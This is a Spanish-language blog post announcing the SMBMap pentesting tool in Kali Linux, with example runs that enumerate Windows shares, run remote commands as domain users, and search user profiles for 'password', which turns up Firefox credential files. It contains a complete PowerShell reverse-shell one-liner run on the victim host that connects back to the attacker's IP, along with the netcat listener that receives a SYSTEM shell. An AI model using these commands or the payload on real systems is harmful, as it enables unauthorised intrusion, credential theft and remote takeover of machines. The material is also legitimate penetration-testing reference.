SMBMap, busca datos sensibles en recursos compartidos Windows desde Kali

Desde hoy ya tenemos disponible en los repositorios de Kali Linux SMBMap, una herramienta que nos permitirá enumerar recursos compartidos samba a lo largo de un dominio. Y no sólo eso, enumera contenidos y permisos, soporta pass-the-hash, descarga/sube/borra ficheros, busca patrones de nombres de fichero con la opción de autodescargarlos e incluso ejecuta comandos en remoto.

Esta herramienta fue diseñada teniendo en mente el pentesting y tiene como objetivo simplificar la búsqueda de datos potencialmente sensibles a través de redes de gran tamaño.

Instalación en dos patás:
sudo apt-get update
sudo apt-get install smbmap

Algunos ejemplos de autor:


Salida por defecto:
$ cat smb-hosts.txt | python smbmap.py -u jsmith -p 'R33nisP!nckl3' -d ABC
[+] Reading from stdin
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.0.5:445 Name: unkown                                            
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITE
        IPC$                                                    NO ACCESS
        TMPSHARE                                                READ, WRITE
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445        Name: unkown                                            
        Disk                                                    Permissions
        ----                                                    -----------
        IPC$                                                    NO ACCESS
        print$                                                  READ, WRITE
        My Dirs                                                 NO ACCESS
        WWWROOT_OLD                                             NO ACCESS
        ADMIN$                                                  READ, WRITE
        C$                                                      READ, WRITEPaste your text here.

Ejecución de comandos:
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -h 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445        Name: unkown                                            
Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
abcadmin                  
The command completed successfully.

Listado de recursos no recursivo (ls):
$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 172.16.0.24:445 Name: 172.16.0.24                                       
    Disk                                                    Permissions
    ----                                                    -----------
    C$                                                      READ, WRITE
    .Users                                             
    dw--w--w--                0 Wed Apr 29 13:15:25 2015    .
    dw--w--w--                0 Wed Apr 29 13:15:25 2015    ..
    dr--r--r--                0 Wed Apr 22 14:50:36 2015    Administrator
    dr--r--r--                0 Thu Apr  9 14:46:57 2015    All Users
    dw--w--w--                0 Thu Apr  9 14:46:49 2015    Default
    dr--r--r--                0 Thu Apr  9 14:46:57 2015    Default User
    fr--r--r--              174 Thu Apr  9 14:44:01 2015    desktop.ini
    dw--w--w--                0 Thu Apr  9 14:46:49 2015    Public
    dr--r--r--                0 Wed Apr 22 13:33:01 2015    wingus

Búsqueda de contenido en archivos:
$ python smbmap.py -h 192.168.1.203 -u Administrator -p p00p1234! -F password --search-path 'C:\Users\wingus\AppData\Roaming'
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.1.203:445 Name: unkown                                            
[+] File search started on 1 hosts...this could take a while
[+] Job 861d4cd845124cad95d42175 started on 192.168.1.203, result will be stored at C:\Windows\TEMP\861d4cd845124cad95d42175.txt
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 1 completed
[+] All jobs complete
Host: 192.168.1.203       Pattern: password
C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\logins.json
C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\prefs.js

Listado de unidades:
Esta característica fue añadida para complementar la búsqueda de conenido.
$ python smbmap.py -h 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L 
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.1.24:445 Name: unkown                                            
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
    E:      \\vboxsrv\Public      VirtualBox Shared Folders

Shell "elegante":
Ejecuta el script Powershell en el host SMB de la víctima (cambia la IP por la tuya para la conexión inversa).
$ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -h 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' 
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445        Name: unkown                                            
[!] Error encountered, sharing violation, unable to retrieve output

Listener netcat del atacante:
$ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
 nt authority\system
Github: https://github.com/ShawnDEvans/smbmap

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